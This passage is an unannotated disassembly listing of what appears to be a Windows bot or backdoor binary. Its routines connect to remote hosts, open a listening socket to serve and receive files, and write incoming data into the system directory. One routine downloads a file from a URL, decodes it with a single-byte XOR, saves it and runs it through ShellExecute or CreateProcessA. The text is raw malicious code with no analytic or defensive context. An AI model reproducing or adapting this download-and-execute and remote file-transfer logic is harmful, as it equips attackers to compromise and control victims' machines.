arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_43C698 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C349 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call ds:dword_43C618 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_43C658 ; inet_addr cmp eax, esi jnz short loc_40C32E push [ebp+arg_0] call ds:dword_43C69C ; gethostbyname test eax, eax jz short loc_40C349 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32E: ; CODE XREF: sub_40C2CD+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call ds:dword_43C5C0 ; connect cmp eax, esi jnz short loc_40C34D push edi call ds:dword_43C6B0 ; closesocket loc_40C349: ; CODE XREF: sub_40C2CD+1Bj ; sub_40C2CD+58j mov eax, esi jmp short loc_40C34F ; --------------------------------------------------------------------------- loc_40C34D: ; CODE XREF: sub_40C2CD+73j mov eax, edi loc_40C34F: ; CODE XREF: sub_40C2CD+7Ej pop edi pop esi leave retn sub_40C2CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C353 proc near ; DATA XREF: sub_40EE51+A79o Dst = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CD mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E6 lea eax, [ebp+Dst] push offset dword_42D0D4 ; Format push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C9 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_40D670 add esp, 14h loc_40C3C9: ; CODE XREF: sub_40C353+59j lea eax, [ebp+Dst] push eax call sub_40BF6F push [ebp+var_10] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 loc_40C3E6: ; CODE XREF: sub_40C353+3Fj push offset byte_4397BC push ebx call sub_40B567 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C451 lea eax, [ebp+Dst] push offset dword_42D094 ; Format push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42D push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_40D670 add esp, 14h loc_40C42D: ; CODE XREF: sub_40C353+BDj lea eax, [ebp+Dst] push eax call sub_40BF6F pop ecx push ebx call ds:dword_43C6B0 ; closesocket push [ebp+var_10] call sub_417064 pop ecx push esi call ds:dword_423050 loc_40C451: ; CODE XREF: sub_40C353+A3j push 64h call ds:dword_423060 ; Sleep xor edi, edi mov esi, 1000h loc_40C460: ; CODE XREF: sub_40C353+168j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push edi push esi push eax push ebx call ds:dword_43C630 ; recv test eax, eax jle short loc_40C4BD lea eax, [ebp+Dst] push offset asc_429660 ; "\n" push eax ; Dest call _strcat lea eax, [ebp+Dst] push eax ; Str call sub_40B353 add esp, 0Ch test eax, eax jz short loc_40C4BD push 64h call ds:dword_423060 ; Sleep push 7 call sub_416F90 test eax, eax pop ecx jnz short loc_40C460 loc_40C4BD: ; CODE XREF: sub_40C353+130j ; sub_40C353+154j lea eax, [ebp+Dst] push offset dword_42D050 ; Format push eax ; Dest call _sprintf cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4F0 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_40D670 add esp, 14h loc_40C4F0: ; CODE XREF: sub_40C353+180j lea eax, [ebp+Dst] push eax call sub_40BF6F pop ecx push ebx call ds:dword_43C6B0 ; closesocket push [ebp+var_10] call sub_417064 pop ecx push edi call ds:dword_423050 sub_40C353 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C514 proc near ; DATA XREF: sub_40EE51+4A6Eo var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh Dest = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h Str = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h Dst = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call ds:dword_43C698 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C562 push offset dword_42D258 jmp loc_40C71B ; --------------------------------------------------------------------------- loc_40C562: ; CODE XREF: sub_40C514+42j push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call ds:dword_43C618 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+Dst] push 10h push eax push edi mov [ebp+var_2E+2], esi call ds:dword_43C644 ; bind test eax, eax jz short loc_40C5A0 push offset dword_42D224 jmp loc_40C71B ; --------------------------------------------------------------------------- loc_40C5A0: ; CODE XREF: sub_40C514+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+Dst] push eax push edi call ds:dword_43C5BC ; getsockname push [ebp+var_2E] call ds:dword_43C554 ; htons mov [ebp+var_4], eax lea eax, [ebp+Str] push eax ; Str mov [ebp+arg_0], esi call _strlen pop ecx loc_40C5D2: ; CODE XREF: sub_40C514+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+Str] cmp al, 20h jnz short loc_40C5E5 push 5Fh pop eax jmp short loc_40C5E8 ; --------------------------------------------------------------------------- loc_40C5E5: ; CODE XREF: sub_40C514+CAj movsx eax, al loc_40C5E8: ; CODE XREF: sub_40C514+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+Str] inc ecx push eax ; Str mov [ebp+arg_0], ecx call _strlen cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D2 push ebx push edi call ds:dword_43C640 ; listen test eax, eax jz short loc_40C61B push offset dword_42D0D4 jmp loc_40C71B ; --------------------------------------------------------------------------- loc_40C61B: ; CODE XREF: sub_40C514+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+Str] push 80000000h push eax call ds:dword_423080 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C645 push offset dword_42D1F4 jmp loc_40C71B ; --------------------------------------------------------------------------- loc_40C645: ; CODE XREF: sub_40C514+125j push esi push eax call ds:dword_4230A0 mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEDB pop ecx push eax call ds:dword_43C658 ; inet_addr push eax call ds:dword_43C614 ; htonl push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset dword_42D1DC ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push esi ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_40D670 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call ds:dword_43C600 ; select test eax, eax jg short loc_40C6F5 push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_42D1B4 ; int push eax ; Str push [ebp+var_1FC] ; int call sub_40D670 jmp loc_40C819 ; --------------------------------------------------------------------------- loc_40C6F5: ; CODE XREF: sub_40C514+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call ds:dword_43C6AC ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72E push offset dword_42D180 ; Format loc_40C71B: ; CODE XREF: sub_40C514+49j ; sub_40C514+87j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_40C81C ; --------------------------------------------------------------------------- loc_40C72E: ; CODE XREF: sub_40C514+200j push edi call ds:dword_43C6B0 ; closesocket cmp [ebp+arg_0], esi jz loc_40C7E0 mov edi, 400h loc_40C743: ; CODE XREF: sub_40C514+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C750 mov [ebp+var_4], eax loc_40C750: ; CODE XREF: sub_40C514+237j push edi ; Size lea eax, [ebp+var_A04] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_4230BC lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_423070 push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call ds:dword_43C668 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call ds:dword_43C630 ; recv cmp eax, ebx jl loc_40C875 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C875 sub [ebp+arg_0], eax jnz loc_40C743 mov edi, [ebp+var_18] loc_40C7E0: ; CODE XREF: sub_40C514+224j push [ebp+var_8] call ds:dword_423074 push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+Str] push eax push [ebp+var_44] call ds:dword_43C6A4 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset dword_42D130 ; Format push eax ; Dest call _sprintf loc_40C819: ; CODE XREF: sub_40C514+1DCj add esp, 14h loc_40C81C: ; CODE XREF: sub_40C514+215j cmp [ebp+var_50], esi jnz short loc_40C841 push esi ; int lea eax, [ebp+Dest] push [ebp+var_54] ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_40D670 add esp, 14h loc_40C841: ; CODE XREF: sub_40C514+30Bj lea eax, [ebp+Dest] push eax call sub_40BF6F cmp edi, esi pop ecx jbe short loc_40C859 push edi call ds:dword_43C6B0 ; closesocket loc_40C859: ; CODE XREF: sub_40C514+33Cj push [ebp+var_1F8] call ds:dword_43C6B0 ; closesocket push [ebp+var_58] call sub_417064 pop ecx push esi call ds:dword_423050 loc_40C875: ; CODE XREF: sub_40C514+2AFj ; sub_40C514+2BAj push esi ; int mov esi, offset dword_42D108 push [ebp+var_54] ; int lea eax, [ebp+var_DC] push esi ; int push eax ; Str push [ebp+var_1FC] ; int call sub_40D670 push esi call sub_40BF6F add esp, 18h push [ebp+var_1F8] call ds:dword_43C6B0 ; closesocket push [ebp+var_58] call sub_417064 pop ecx push ebx call ds:dword_423050 sub_40C514 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B6 proc near ; DATA XREF: sub_40EE51+7B7o Dst = byte ptr -14C4h var_4C4 = dword ptr -4C4h Filename = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+Filename] push 104h push eax call ds:dword_423064 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Filename] push eax lea eax, [ebp+Filename] push offset aSS_2 ; "%s%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Filename] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_423080 cmp eax, 0FFFFFFFFh jnz short loc_40C940 push offset dword_42D350 jmp short loc_40C986 ; --------------------------------------------------------------------------- loc_40C940: ; CODE XREF: sub_40C8B6+81j push eax call ds:dword_423074 lea eax, [ebp+Filename] push offset aAB ; "a+b" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_40C968 push offset dword_42D310 jmp short loc_40C986 ; --------------------------------------------------------------------------- loc_40C968: ; CODE XREF: sub_40C8B6+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CD pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C999 push offset dword_42D2E0 ; Format loc_40C986: ; CODE XREF: sub_40C8B6+88j ; sub_40C8B6+B0j lea eax, [ebp+var_4C4] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C999: ; CODE XREF: sub_40C8B6+C9j mov esi, 1000h loc_40C99E: ; CODE XREF: sub_40C8B6+14Ej push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call ds:dword_43C630 ; recv mov edi, eax cmp edi, ebx jz loc_40CA65 cmp edi, 0FFFFFFFFh jz short loc_40CA06 push [ebp+File] ; File lea eax, [ebp+Dst] push edi ; Count push 1 ; Size push eax ; Str call _fwrite add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call ds:dword_43C614 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call ds:dword_43C668 ; send jmp short loc_40C99E ; --------------------------------------------------------------------------- loc_40CA06: ; CODE XREF: sub_40C8B6+118j lea eax, [ebp+var_4C4] push offset dword_42D108 ; Format push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_4C4] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_40D670 lea eax, [ebp+var_4C4] push eax call sub_40BF6F push [ebp+File] ; File call _fclose add esp, 24h push [ebp+arg_0] call ds:dword_43C6B0 ; closesocket push [ebp+var_1C] call sub_417064 pop ecx push 1 call ds:dword_423050 loc_40CA65: ; CODE XREF: sub_40C8B6+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42D28C ; Format push eax ; Dest call _sprintf add esp, 1Ch loc_40CA93: ; CODE XREF: sub_40C8B6+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx ; int lea eax, [ebp+var_4C4] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_40D670 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B6+1E0j lea eax, [ebp+var_4C4] push eax call sub_40BF6F cmp [ebp+File], ebx pop ecx jz short loc_40CAD3 push [ebp+File] ; File call _fclose pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B6+212j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call ds:dword_43C6B0 ; closesocket loc_40CAE1: ; CODE XREF: sub_40C8B6+220j push [ebp+var_1C] call sub_417064 pop ecx push ebx call ds:dword_423050 sub_40C8B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE51+382Fo ; sub_40EE51+3F6Eo var_590 = qword ptr -590h var_584 = qword ptr -584h Dst = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh Str = byte ptr -2C8h var_248 = byte ptr -248h Filename = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h Memory = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push ds:dword_43C5C8 call ds:dword_43C528 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+Filename] push 40000000h push eax call ds:dword_423080 cmp eax, edi mov [ebp+var_20], eax jnb short loc_40CBB8 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset unk_42D5E4 ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CB9B push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 add esp, 14h loc_40CB9B: ; CODE XREF: sub_40CAF1+88j lea eax, [ebp+Dst] push eax call sub_40BF6F push [ebp+var_48] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 loc_40CBB8: ; CODE XREF: sub_40CAF1+68j xor edi, edi call ds:dword_423054 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx ; Size call _malloc pop ecx mov [ebp+Memory], eax loc_40CBD2: ; CODE XREF: sub_40CAF1+1B4j push 200h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+Dst] push 200h push eax push [ebp+var_18] call ds:dword_43C530 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_40CC16 push [ebp+arg_0] lea eax, [ebp+Dst] push eax call sub_40CFE3 pop ecx pop ecx loc_40CC16: ; CODE XREF: sub_40CAF1+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+Dst] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_423078 cmp edi, ebx jnb short loc_40CC54 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_40CC3E mov eax, [ebp+arg_0] loc_40CC3E: ; CODE XREF: sub_40CAF1+148j push eax ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+Memory] add eax, edi push eax ; Dst call _memcpy add esp, 0Ch loc_40CC54: ; CODE XREF: sub_40CAF1+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_40CC61 cmp edi, [ebp+var_3C] ja short loc_40CCAB loc_40CC61: ; CODE XREF: sub_40CAF1+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_40CC7B shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42D59C jmp short loc_40CC8B ; --------------------------------------------------------------------------- loc_40CC7B: ; CODE XREF: sub_40CAF1+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_42D55C ; Format loc_40CC8B: ; CODE XREF: sub_40CAF1+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_441E70 push eax ; Dest call _sprintf add esp, 10h cmp [ebp+arg_0], esi ja loc_40CBD2 loc_40CCAB: ; CODE XREF: sub_40CAF1+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_40CD00 cmp edi, [ebp+var_3C] jz short loc_40CD00 push [ebp+var_3C] lea eax, [ebp+Dst] mov [ebp+var_14], esi push edi push offset unk_42D518 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 lea eax, [ebp+Dst] push eax call sub_40BF6F add esp, 28h loc_40CD00: ; CODE XREF: sub_40CAF1+1C4j ; sub_40CAF1+1C9j call ds:dword_423054 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call ds:dword_423074 push [ebp+Memory] ; Memory call _free cmp [ebp+var_38], esi pop ecx jz short loc_40CD8A lea eax, [ebp+Filename] push eax ; Filename call sub_40C25B cmp eax, [ebp+var_38] pop ecx jz short loc_40CD8A push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+Dst] push offset unk_42D4E0 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 lea eax, [ebp+Dst] push eax call sub_40BF6F add esp, 28h loc_40CD8A: ; CODE XREF: sub_40CAF1+241j ; sub_40CAF1+253j cmp [ebp+var_14], esi jz loc_40CFCA cmp [ebp+var_44], 1 jz loc_40CE85 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_423690 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_423690 fstp [esp+590h+var_590] push offset unk_42D498 ; Format push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CE05 push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 add esp, 14h loc_40CE05: ; CODE XREF: sub_40CAF1+2F2j lea eax, [ebp+Dst] push eax call sub_40BF6F cmp [ebp+var_40], 1 pop ecx jnz loc_40CFCA push 5 push esi lea eax, [ebp+Filename] push esi push eax push offset aOpen ; "open" push esi call ds:dword_43C58C cmp [ebp+var_30], esi jnz loc_40CFCA lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset dword_42D464 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 lea eax, [ebp+Dst] push eax call sub_40BF6F add esp, 24h jmp loc_40CFCA ; --------------------------------------------------------------------------- loc_40CE85: ; CODE XREF: sub_40CAF1+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul ds:dbl_423690 lea eax, [ebp+Filename] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+Dst] fmul ds:dbl_423690 fstp [esp+590h+var_590] push offset unk_42D414 ; Format push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_40CEED push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 add esp, 14h loc_40CEED: ; CODE XREF: sub_40CAF1+3DAj lea eax, [ebp+Dst] push eax call sub_40BF6F push 10h ; Size lea eax, [ebp+var_10] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_310] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset add esp, 1Ch mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset byte_4397BC push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+Filename] push esi push eax push esi mov [ebp+var_2E4], edi call ds:dword_423120 ; CreateProcessA cmp eax, edi jnz short loc_40CF6F call ds:dword_43C578 ; WSACleanup call sub_40AC3D push esi call ds:dword_42314C loc_40CF6F: ; CODE XREF: sub_40CAF1+46Aj lea eax, [ebp+Filename] push eax push offset unk_42D3CC jmp short loc_40CF89 ; --------------------------------------------------------------------------- loc_40CF7D: ; CODE XREF: sub_40CAF1+45j lea eax, [ebp+var_248] push eax push offset unk_42D390 ; Format loc_40CF89: ; CODE XREF: sub_40CAF1+48Aj lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_40CFBD push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_40D670 add esp, 14h loc_40CFBD: ; CODE XREF: sub_40CAF1+4AAj lea eax, [ebp+Dst] push eax call sub_40BF6F pop ecx loc_40CFCA: ; CODE XREF: sub_40CAF1+29Cj ; sub_40CAF1+325j ... push [ebp+var_18] call ds:dword_43C64C ; InternetCloseHandle push [ebp+var_48] call sub_417064 pop ecx push esi call ds:dword_423050 sub_40CAF1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CFE3 proc near ; CODE XREF: sub_40CAF1+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_40CFFF loc_40CFEF: ; CODE XREF: sub_40CFE3+1Aj mov dl, ds:byte_42E5C0 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_40CFEF locret_40CFFF: ; CODE XREF: sub_40CFE3+Aj retn sub_40CFE3 endp ; =============== S U B R O U T I N E ======================================= sub_40D000 proc near ; CODE XREF: sub_40EE51+2AA8p ; sub_40EE51+2BCBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_4195E9 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D01A proc near ; CODE XREF: sub_40637D+45Dp ; sub_40637D+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h ; Size mov edi, offset dword_4409E8 push 0 ; Val push edi ; Dst call _memset mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_40D03F: ; CODE XREF: sub_40D01A+5Bj ; sub_40D01A+61j push 0 push 0Ah push [ebp+arg_4] push ebx call __aullrem push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call __aulldiv mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_40D07D inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_40D03F mov byte ptr [esi], 2Ch inc esi jmp short loc_40D03F ; --------------------------------------------------------------------------- loc_40D07D: ; CODE XREF: sub_40D01A+4Bj dec esi mov eax, edi loc_40D080: ; CODE XREF: sub_40D01A+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_40D08F mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_40D080 ; --------------------------------------------------------------------------- loc_40D08F: ; CODE XREF: sub_40D01A+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_40D01A endp ; =============== S U B R O U T I N E ======================================= sub_40D099 proc near ; CODE XREF: sub_40D245+51p ; sub_40D245+87p arg_0 = dword ptr 4 push [esp+arg_0] call ds:dword_43C678 ; GetDriveTypeA sub eax, 0 jz short loc_40D0DC dec eax jz short loc_40D0D6 dec eax dec eax jz short loc_40D0D0 dec eax jz short loc_40D0CA dec eax jz short loc_40D0C4 dec eax jz short loc_40D0BE mov eax, offset word_42CDD0 retn ; --------------------------------------------------------------------------- loc_40D0BE: ; CODE XREF: sub_40D099+1Dj mov eax, offset off_42D644 retn ; --------------------------------------------------------------------------- loc_40D0C4: ; CODE XREF: sub_40D099+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_40D0CA: ; CODE XREF: sub_40D099+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40D0D0: ; CODE XREF: 